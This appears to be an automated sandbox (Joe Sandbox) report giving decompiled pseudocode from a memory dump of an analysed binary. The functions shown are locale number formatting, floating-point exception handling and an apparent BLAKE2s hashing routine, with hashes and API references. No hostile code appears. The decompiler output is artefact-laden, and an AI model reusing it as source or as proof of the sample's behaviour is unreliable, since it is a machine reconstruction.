0x013c9f7c
0x013c9f7f
0x013c9f85
0x013c9f85
0x013c9f86
0x013c9f89
0x013c9f90
0x013c9f99
0x013c9f9e
0x013c9fa1
0x013c9fa6
0x013c9fa9
0x013c9fab
0x013c9fb0
0x013c9fb3
0x013c9fb6
0x013c9fb6
0x013c9fb6
0x013c9fba
0x013c9fbd
0x013c9fbd
0x013c9fc2
0x013c9fc2
0x013c9fcd
0x013c9fd8
0x013c9fd8
0x013c9fdb
0x013c9fe7
0x013c9fec
0x013c9ff7
0x013c9ff9
0x013c9ffb
0x013ca001
0x013ca006
0x013ca008
0x013ca00e
0x013c9f20
0x013c9f2c
0x013c9f2c
0x013c9f2f
0x013c9f3f
0x013c9f45
0x013c9f4c
0x013c9f4e
0x013c9f56
0x013c9f58
0x013c9f5a
0x013c9f5f
0x013c9f62
0x013c9f68
0x013c9f68
0x013c9eed
0x013c9ef0
0x013c9ef4
0x013c9efa
0x013c9f09
0x013c9f13
0x013c9f1b
0x013c9f1b
0x013c9eeb
0x013c9ec6
0x013c9ec9
0x013c9ecf
0x013c9ecf
0x013c9eb5
0x013c9ebb
0x013c9ebb

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d8cca871330e4123537bb6ab64568d03676673747229a1061e8821d119ab4a2
Instruction ID: 4a71731e4b5ec524b46001111568d4e7078769e7141925df271176d9b66b37e5
Opcode Fuzzy Hash: 1d8cca871330e4123537bb6ab64568d03676673747229a1061e8821d119ab4a2
Instruction Fuzzy Hash: F8021C71E002299FDF14CFADC8906ADBBF5EF88718F15826DD919E7241E731AE418B90

Uniqueness

Uniqueness Score: -1.00%

Function 013B932E Relevance: 3.0, APIs: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013B932E(intOrPtr _a4, intOrPtr _a8, short* _a12, int _a16) {
				short _v104;
				short _v304;
				short* _t23;
				int _t24;

				if( *0x13da164 == 0) {
					GetLocaleInfoW(0x400, 0xf,  &_v304, 0x64);
					 *0x13f8950 = _v304;
					 *0x13f8952 = 0;
					 *0x13da164 = 0x13f8950;
				}
				E013AF084(_a4, _a8,  &_v104, 0x32);
				_t23 = _a12;
				_t24 = _a16;
				 *_t23 = 0;
				GetNumberFormatW(0x400, 0,  &_v104, 0x13da154, _t23, _t24);
				 *((short*)(_t23 + _t24 * 2 - 2)) = 0;
				return 0;
			}

0x013b9346
0x013b9354
0x013b9361
0x013b9369
0x013b936f
0x013b936f
0x013b9385
0x013b938a
0x013b938f
0x013b9399
0x013b93a3
0x013b93ab
0x013b93b6

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 013B9354
GetNumberFormatW.KERNEL32 ref: 013B93A3

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 91a267dcef7bf88dd9cf50f435c456d1936db5cf15b844ee6080597075491940
Instruction ID: ca37a73bca004452c8f5981b9c248be1281cdddf503c08c095c515e4b4286a99
Opcode Fuzzy Hash: 91a267dcef7bf88dd9cf50f435c456d1936db5cf15b844ee6080597075491940
Instruction Fuzzy Hash: 73015A7A102359AADB20CFB4ED45F9B77BCEF09714F404466FA08EB250E3309924CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 013CE8D4 Relevance: 1.8, APIs: 1, Instructions: 269
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E013CE8D4(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed int _t195;
				signed int _t199;
				signed int _t202;
				void* _t203;
				void* _t206;
				signed int _t209;
				void* _t210;
				signed int _t225;
				unsigned int* _t240;
				signed char _t242;
				signed int* _t250;
				unsigned int* _t256;
				signed int* _t257;
				signed char _t259;
				long _t262;
				signed int* _t265;

				 *(_a4 + 4) = 0;
				_t262 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t242 = _a12;
				if((_t242 & 0x00000010) != 0) {
					_t262 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t242 & 0x00000002) != 0) {
					_t262 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t242 & 0x00000001) != 0) {
					_t262 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t242 & 0x00000004) != 0) {
					_t262 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t242 & 0x00000008) != 0) {
					_t262 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t265 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 +  *_t265) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 5) ^  *(_a4 + 8)) & 1;
				_t259 = E013CC236(_a4);
				if((_t259 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t259 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t259 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t259 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t259 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t265 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffd | 1;
						L26:
						 *_t257 = _t225;
						L29:
						_t175 =  *_t265 & 0x00000300;
						if(_t175 == 0) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffeb | 0x00000008;
							L35:
							 *_t250 = _t178;
							L36:
							_t179 = _a4;
							_t254 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t254 = _a4;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t240;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t240;
							}
							E013CC19C(_t254);
							RaiseException(_t262, 0, 1,  &_a4);
							_t256 = _a4;
							if((_t256[2] & 0x00000010) != 0) {
								 *_t265 =  *_t265 & 0xfffffffe;
							}
							if((_t256[2] & 0x00000008) != 0) {
								 *_t265 =  *_t265 & 0xfffffffb;
							}
							if((_t256[2] & 0x00000004) != 0) {
								 *_t265 =  *_t265 & 0xfffffff7;
							}
							if((_t256[2] & 0x00000002) != 0) {
								 *_t265 =  *_t265 & 0xffffffef;
							}
							if((_t256[2] & 0x00000001) != 0) {
								 *_t265 =  *_t265 & 0xffffffdf;
							}
							_t195 =  *_t256 & 0x00000003;
							if(_t195 == 0) {
								 *_t265 =  *_t265 & 0xfffff3ff;
							} else {
								_t206 = _t195 - 1;
								if(_t206 == 0) {
									_t209 =  *_t265 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t265 = _t209;
									L58:
									_t199 =  *_t256 >> 0x00000002 & 0x00000007;
									if(_t199 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t265 = _t202;
										L65:
										if(_a28 == 0) {
											 *_t240 = _t256[0x14];
										} else {
											 *_t240 = _t256[0x14];
										}
										return _t202;
									}
									_t203 = _t199 - 1;
									if(_t203 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t202 = _t203 - 1;
									if(_t202 == 0) {
										 *_t265 =  *_t265 & 0xfffff3ff;
									}
									goto L65;
								}
								_t210 = _t206 - 1;
								if(_t210 == 0) {
									_t209 =  *_t265 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t210 == 1) {
									 *_t265 =  *_t265 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x013ce8e2
0x013ce8e9
0x013ce8ee
0x013ce8f4
0x013ce8f7
0x013ce8fd
0x013ce902
0x013ce907
0x013ce907
0x013ce90d
0x013ce912
0x013ce917
0x013ce917
0x013ce91e
0x013ce923
0x013ce928
0x013ce928
0x013ce92f
0x013ce934
0x013ce939
0x013ce939
0x013ce940
0x013ce945
0x013ce94a
0x013ce94a
0x013ce952
0x013ce962
0x013ce974
0x013ce986
0x013ce999
0x013ce9ab
0x013ce9b3
0x013ce9b8
0x013ce9bd
0x013ce9bd
0x013ce9c4
0x013ce9c9
0x013ce9c9
0x013ce9d0
0x013ce9d5
0x013ce9d5
0x013ce9dc
0x013ce9e1
0x013ce9e1
0x013ce9e8
0x013ce9ed
0x013ce9ed
0x013ce9f7
0x013ce9f9
0x013cea33
0x013ce9fb
0x013cea00
0x013cea24
0x013cea2c
0x013cea20
0x013cea20
0x013cea36
0x013cea3d
0x013cea3f
0x013cea61
0x013cea69
0x013cea6c
0x013cea6c
0x013cea6e
0x013cea6e
0x013cea79
0x013cea7f
0x013cea84
0x013cea8b
0x013ceac5
0x013cead0
0x013cead6
0x013cead9
0x013ceadc
0x013ceae8
0x013ceaf0
0x013cea8d
0x013cea90
0x013cea9c
0x013ceaa2
0x013ceaa8
0x013ceaab
0x013ceab4
0x013ceab4
0x013ceaf3
0x013ceb01
0x013ceb07
0x013ceb0e
0x013ceb10
0x013ceb10
0x013ceb17
0x013ceb19
0x013ceb19
0x013ceb20
0x013ceb22
0x013ceb22
0x013ceb29
0x013ceb2b
0x013ceb2b
0x013ceb32
0x013ceb34
0x013ceb34
0x013ceb41
0x013ceb44
0x013ceb7b
0x013ceb46
0x013ceb46
0x013ceb49
0x013ceb74
0x013ceb69
0x013ceb69
0x013ceb7d
0x013ceb85
0x013ceb88
0x013ceba7
0x013cebac
0x013cebac
0x013cebae
0x013cebb3
0x013cebbf
0x013cebb5
0x013cebb8
0x013cebb8
0x013cebc4
0x013cebc4
0x013ceb8a
0x013ceb8d
0x013ceb9c
0x00000000
0x013ceb9c
0x013ceb8f
0x013ceb92
0x013ceb94
0x013ceb94
0x00000000
0x013ceb92
0x013ceb4b
0x013ceb4e
0x013ceb64
0x00000000
0x013ceb64
0x013ceb53
0x013ceb55
0x013ceb55
0x013ceb53
0x00000000
0x013ceb44
0x013cea46
0x013cea54
0x013cea5c
0x00000000
0x013cea5c
0x013cea4a
0x013cea4f
0x013cea4f
0x00000000
0x013cea4a
0x013cea07
0x013cea15
0x013cea1d
0x00000000
0x013cea1d
0x013cea0b
0x013cea10
0x013cea10
0x013cea0b

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,013CE8CF,?,?,00000008,?,?,013CE56F,00000000), ref: 013CEB01

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 7a3c8a2fb4b78a83bc19319303aca096e0099200f2b5c646966ff47dcab48f91
Instruction ID: 756f07991a4f612e8861c256c1a2d09a336e44eaca282213c2aa5e4ec138797d
Opcode Fuzzy Hash: 7a3c8a2fb4b78a83bc19319303aca096e0099200f2b5c646966ff47dcab48f91
Instruction Fuzzy Hash: 7BB129352106089FE719CF2CC48AB657FA0FF45769F25866CE99ACF2A1C335E991CB40

Uniqueness

Uniqueness Score: -1.00%

Function 013A3F95 Relevance: 1.6, Strings: 1, Instructions: 332
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E013A3F95() {
				void* _t230;
				signed int* _t231;
				intOrPtr _t240;
				signed int _t245;
				intOrPtr _t246;
				signed int _t257;
				intOrPtr _t258;
				signed int _t269;
				intOrPtr _t270;
				signed int _t275;
				signed int _t280;
				signed int _t285;
				signed int _t290;
				signed int _t295;
				intOrPtr _t296;
				signed int _t301;
				intOrPtr _t302;
				signed int _t307;
				intOrPtr _t308;
				signed int _t313;
				intOrPtr _t314;
				signed int _t319;
				signed int _t324;
				signed int _t329;
				signed int _t333;
				signed int _t334;
				signed int _t336;
				signed int _t337;
				signed int _t338;
				signed int _t340;
				signed int _t341;
				signed int _t342;
				signed int _t348;
				signed int _t350;
				signed int _t351;
				signed int _t353;
				signed int _t355;
				signed int _t356;
				signed int _t358;
				signed int _t360;
				signed int _t362;
				signed int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t368;
				signed int _t369;
				signed int _t371;
				signed int _t372;
				signed int _t374;
				signed int _t375;
				intOrPtr _t376;
				intOrPtr _t377;
				signed int _t379;
				signed int _t381;
				intOrPtr _t383;
				signed int _t385;
				signed int _t386;
				signed int _t388;
				signed int _t389;
				signed int _t390;
				signed int _t391;
				signed int _t392;
				signed int _t393;
				signed int _t394;
				signed int _t395;
				intOrPtr _t396;
				signed int _t398;
				intOrPtr _t399;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t412;
				signed int _t414;
				signed int _t418;
				signed int _t420;
				signed int _t422;
				signed int _t423;
				signed int _t425;
				signed int _t427;
				signed int _t429;
				intOrPtr _t431;
				signed int _t433;
				intOrPtr _t434;
				void* _t435;
				void* _t436;
				void* _t437;

				_t377 =  *((intOrPtr*)(_t435 + 0xc0));
				_t342 = 0x10;
				 *((intOrPtr*)(_t435 + 0x18)) = 0x3c6ef372;
				memcpy(_t435 + 0x8c,  *(_t435 + 0xd0), _t342 << 2);
				_t436 = _t435 + 0xc;
				_push(8);
				_t230 = memcpy(_t436 + 0x4c,  *(_t377 + 0xf4), 0 << 2);
				_t437 = _t436 + 0xc;
				_t418 =  *_t230 ^ 0x510e527f;
				_t231 =  *(_t377 + 0xfc);
				_t407 =  *(_t230 + 4) ^ 0x9b05688c;
				_t334 =  *(_t437 + 0x64);
				 *(_t437 + 0x28) = 0x6a09e667;
				 *(_t437 + 0x30) = 0xbb67ae85;
				_t379 =  *_t231 ^ 0x1f83d9ab;
				_t348 =  *(_t437 + 0x5c);
				 *(_t437 + 0x44) = _t231[1] ^ 0x5be0cd19;
				 *(_t437 + 0x3c) =  *(_t437 + 0x68);
				 *(_t437 + 0x1c) =  *(_t437 + 0x60);
				 *(_t437 + 0x2c) =  *(_t437 + 0x58);
				 *(_t437 + 0x38) =  *(_t437 + 0x54);
				 *(_t437 + 0x20) =  *(_t437 + 0x50);
				 *((intOrPtr*)(_t437 + 0x10)) = 0;
				 *((intOrPtr*)(_t437 + 0x48)) = 0;
				_t427 =  *(_t437 + 0x44);
				 *(_t437 + 0x14) =  *(_t437 + 0x4c);
				_t240 =  *((intOrPtr*)(_t437 + 0x10));
				 *(_t437 + 0x24) = 0xa54ff53a;
				 *(_t437 + 0x40) = _t334;
				 *(_t437 + 0x34) = _t348;
				do {
					_t37 = _t240 + 0x13d03b0; // 0x3020100
					_t350 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t37 & 0x000000ff) * 4)) + _t348;
					 *(_t437 + 0x14) = _t350;
					_t351 = _t350 ^ _t418;
					asm("rol ecx, 0x10");
					_t245 =  *(_t437 + 0x28) + _t351;
					_t420 =  *(_t437 + 0x34) ^ _t245;
					 *(_t437 + 0x28) = _t245;
					_t246 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror esi, 0xc");
					 *(_t437 + 0x34) = _t420;
					_t48 = _t246 + 0x13d03b1; // 0x4030201
					_t422 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t48 & 0x000000ff) * 4)) + _t420;
					 *(_t437 + 0x14) = _t422;
					_t423 = _t422 ^ _t351;
					asm("ror esi, 0x8");
					_t353 =  *(_t437 + 0x28) + _t423;
					 *(_t437 + 0x28) = _t353;
					asm("ror eax, 0x7");
					 *(_t437 + 0x34) =  *(_t437 + 0x34) ^ _t353;
					_t60 =  *((intOrPtr*)(_t437 + 0x10)) + 0x13d03b2; // 0x5040302
					_t355 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t60 & 0x000000ff) * 4)) +  *(_t437 + 0x1c);
					 *(_t437 + 0x20) = _t355;
					_t356 = _t355 ^ _t407;
					asm("rol ecx, 0x10");
					_t257 =  *(_t437 + 0x30) + _t356;
					_t409 =  *(_t437 + 0x1c) ^ _t257;
					 *(_t437 + 0x30) = _t257;
					_t258 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edi, 0xc");
					 *(_t437 + 0x1c) = _t409;
					_t71 = _t258 + 0x13d03b3; // 0x6050403
					_t411 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t71 & 0x000000ff) * 4)) + _t409;
					 *(_t437 + 0x20) = _t411;
					_t412 = _t411 ^ _t356;
					asm("ror edi, 0x8");
					_t358 =  *(_t437 + 0x30) + _t412;
					 *(_t437 + 0x30) = _t358;
					asm("ror eax, 0x7");
					 *(_t437 + 0x1c) =  *(_t437 + 0x1c) ^ _t358;
					_t82 =  *((intOrPtr*)(_t437 + 0x10)) + 0x13d03b4; // 0x7060504
					_t336 =  *(_t437 + 0x38) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t82 & 0x000000ff) * 4)) + _t334;
					_t360 = _t336 ^ _t379;
					asm("rol ecx, 0x10");
					_t269 =  *(_t437 + 0x18) + _t360;
					_t381 =  *(_t437 + 0x40) ^ _t269;
					 *(_t437 + 0x18) = _t269;
					_t270 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0xc");
					_t91 = _t270 + 0x13d03b5; // 0x8070605
					_t337 = _t336 +  *((intOrPtr*)(_t437 + 0x8c + ( *_t91 & 0x000000ff) * 4)) + _t381;
					 *(_t437 + 0x38) = _t337;
					_t338 = _t337 ^ _t360;
					asm("ror ebx, 0x8");
					_t275 =  *(_t437 + 0x18) + _t338;
					 *(_t437 + 0x18) = _t275;
					asm("ror edx, 0x7");
					 *(_t437 + 0x40) = _t381 ^ _t275;
					_t383 =  *((intOrPtr*)(_t437 + 0x10));
					_t101 = _t383 + 0x13d03b6; // 0x9080706
					_t362 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t101 & 0x000000ff) * 4)) +  *(_t437 + 0x3c);
					 *(_t437 + 0x2c) = _t362;
					_t363 = _t362 ^ _t427;
					asm("rol ecx, 0x10");
					_t280 =  *(_t437 + 0x24) + _t363;
					_t429 =  *(_t437 + 0x3c) ^ _t280;
					 *(_t437 + 0x24) = _t280;
					_t110 = _t383 + 0x13d03b7; // 0xa090807
					asm("ror ebp, 0xc");
					_t385 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t110 & 0x000000ff) * 4)) + _t429;
					 *(_t437 + 0x2c) = _t385;
					_t386 = _t385 ^ _t363;
					asm("ror edx, 0x8");
					_t285 =  *(_t437 + 0x24) + _t386;
					 *(_t437 + 0x24) = _t285;
					asm("ror ebp, 0x7");
					 *(_t437 + 0x3c) = _t429 ^ _t285;
					_t431 =  *((intOrPtr*)(_t437 + 0x10));
					_t121 = _t431 + 0x13d03b8; // 0xb0a0908
					_t365 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t121 & 0x000000ff) * 4)) +  *(_t437 + 0x1c);
					 *(_t437 + 0x14) = _t365;
					_t366 = _t365 ^ _t386;
					asm("rol ecx, 0x10");
					_t290 =  *(_t437 + 0x18) + _t366;
					_t388 =  *(_t437 + 0x1c) ^ _t290;
					 *(_t437 + 0x18) = _t290;
					_t130 = _t431 + 0x13d03b9; // 0xc0b0a09
					asm("ror edx, 0xc");
					_t433 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t130 & 0x000000ff) * 4)) + _t388;
					 *(_t437 + 0x14) = _t433;
					 *(_t437 + 0x4c) = _t433;
					_t427 = _t433 ^ _t366;
					asm("ror ebp, 0x8");
					_t295 =  *(_t437 + 0x18) + _t427;
					_t389 = _t388 ^ _t295;
					 *(_t437 + 0x18) = _t295;
					 *(_t437 + 0x74) = _t295;
					_t296 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0x7");
					 *(_t437 + 0x1c) = _t389;
					 *(_t437 + 0x60) = _t389;
					_t144 = _t296 + 0x13d03ba; // 0xd0c0b0a
					_t390 =  *(_t437 + 0x40);
					_t368 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t144 & 0x000000ff) * 4)) + _t390;
					 *(_t437 + 0x20) = _t368;
					_t369 = _t368 ^ _t423;
					asm("rol ecx, 0x10");
					_t301 =  *(_t437 + 0x24) + _t369;
					_t391 = _t390 ^ _t301;
					 *(_t437 + 0x24) = _t301;
					_t302 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0xc");
					_t154 = _t302 + 0x13d03bb; // 0xe0d0c0b
					_t425 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t154 & 0x000000ff) * 4)) + _t391;
					 *(_t437 + 0x20) = _t425;
					 *(_t437 + 0x50) = _t425;
					_t418 = _t425 ^ _t369;
					asm("ror esi, 0x8");
					_t307 =  *(_t437 + 0x24) + _t418;
					_t392 = _t391 ^ _t307;
					 *(_t437 + 0x24) = _t307;
					 *(_t437 + 0x78) = _t307;
					_t308 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0x7");
					 *(_t437 + 0x40) = _t392;
					 *(_t437 + 0x64) = _t392;
					_t167 = _t308 + 0x13d03bc; // 0xf0e0d0c
					_t393 =  *(_t437 + 0x3c);
					_t371 =  *(_t437 + 0x38) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t167 & 0x000000ff) * 4)) + _t393;
					 *(_t437 + 0x38) = _t371;
					_t372 = _t371 ^ _t412;
					asm("rol ecx, 0x10");
					_t313 =  *(_t437 + 0x28) + _t372;
					_t394 = _t393 ^ _t313;
					 *(_t437 + 0x28) = _t313;
					_t314 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0xc");
					_t177 = _t314 + 0x13d03bd; // 0xe0f0e0d
					_t414 =  *(_t437 + 0x38) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t177 & 0x000000ff) * 4)) + _t394;
					 *(_t437 + 0x38) = _t414;
					 *(_t437 + 0x54) = _t414;
					_t407 = _t414 ^ _t372;
					asm("ror edi, 0x8");
					_t319 =  *(_t437 + 0x28) + _t407;
					_t395 = _t394 ^ _t319;
					 *(_t437 + 0x28) = _t319;
					asm("ror edx, 0x7");
					 *(_t437 + 0x3c) = _t395;
					 *(_t437 + 0x68) = _t395;
					_t396 =  *((intOrPtr*)(_t437 + 0x10));
					 *(_t437 + 0x6c) = _t319;
					_t190 = _t396 + 0x13d03be; // 0xa0e0f0e
					_t374 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t190 & 0x000000ff) * 4)) +  *(_t437 + 0x34);
					 *(_t437 + 0x2c) = _t374;
					_t375 = _t374 ^ _t338;
					asm("rol ecx, 0x10");
					_t324 =  *(_t437 + 0x30) + _t375;
					_t340 =  *(_t437 + 0x34) ^ _t324;
					 *(_t437 + 0x30) = _t324;
					_t199 = _t396 + 0x13d03bf; // 0x40a0e0f
					asm("ror ebx, 0xc");
					_t398 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t199 & 0x000000ff) * 4)) + _t340;
					 *(_t437 + 0x2c) = _t398;
					 *(_t437 + 0x58) = _t398;
					_t379 = _t398 ^ _t375;
					asm("ror edx, 0x8");
					_t329 =  *(_t437 + 0x30) + _t379;
					_t341 = _t340 ^ _t329;
					 *(_t437 + 0x30) = _t329;
					 *(_t437 + 0x70) = _t329;
					asm("ror ebx, 0x7");
					_t240 =  *((intOrPtr*)(_t437 + 0x10)) + 0x10;
					 *(_t437 + 0x34) = _t341;
					_t348 =  *(_t437 + 0x34);
					 *(_t437 + 0x5c) = _t341;
					_t334 =  *(_t437 + 0x40);
					 *((intOrPtr*)(_t437 + 0x10)) = _t240;
				} while (_t240 <= 0x90);
				 *(_t437 + 0x84) = _t379;
				_t399 =  *((intOrPtr*)(_t437 + 0xd0));
				 *(_t437 + 0x88) = _t427;
				_t434 =  *((intOrPtr*)(_t437 + 0x48));
				 *(_t437 + 0x7c) = _t418;
				 *(_t437 + 0x80) = _t407;
				do {
					_t376 =  *((intOrPtr*)(_t399 + 0xf4));
					_t333 =  *(_t437 + _t434 + 0x6c) ^  *(_t376 + _t434) ^  *(_t437 + _t434 + 0x4c);
					 *(_t376 + _t434) = _t333;
					_t434 = _t434 + 4;
				} while (_t434 < 0x20);
				return _t333;
			}

0x013a3f9b
0x013a3fb5
0x013a3fbd
0x013a3fc5
0x013a3fc5
0x013a3fd1
0x013a3fd4
0x013a3fd4
0x013a3fe0
0x013a3fe6
0x013a3fec
0x013a3ff2
0x013a3ff6
0x013a3fff
0x013a4008
0x013a400e
0x013a4017
0x013a4021
0x013a4029
0x013a4031
0x013a4039
0x013a4041
0x013a4049
0x013a404d
0x013a4051
0x013a4055
0x013a4059
0x013a405d
0x013a4065
0x013a4069
0x013a406d
0x013a406d
0x013a4081
0x013a4087
0x013a408b
0x013a4091
0x013a4094
0x013a4096
0x013a4098
0x013a409c
0x013a40a0
0x013a40a3
0x013a40a7
0x013a40bb
0x013a40c1
0x013a40c5
0x013a40cb
0x013a40ce
0x013a40d2
0x013a40d6
0x013a40d9
0x013a40e5
0x013a40f7
0x013a40fd
0x013a4101
0x013a4107
0x013a410a
0x013a410c
0x013a410e
0x013a4112
0x013a4116
0x013a4119
0x013a411d
0x013a4131
0x013a4137
0x013a413b
0x013a4141
0x013a4144
0x013a4148
0x013a414c
0x013a414f
0x013a4157
0x013a416b
0x013a4173
0x013a4179
0x013a417c
0x013a417e
0x013a4180
0x013a4184
0x013a4188
0x013a418b
0x013a419b
0x013a41a1
0x013a41a5
0x013a41ab
0x013a41ae
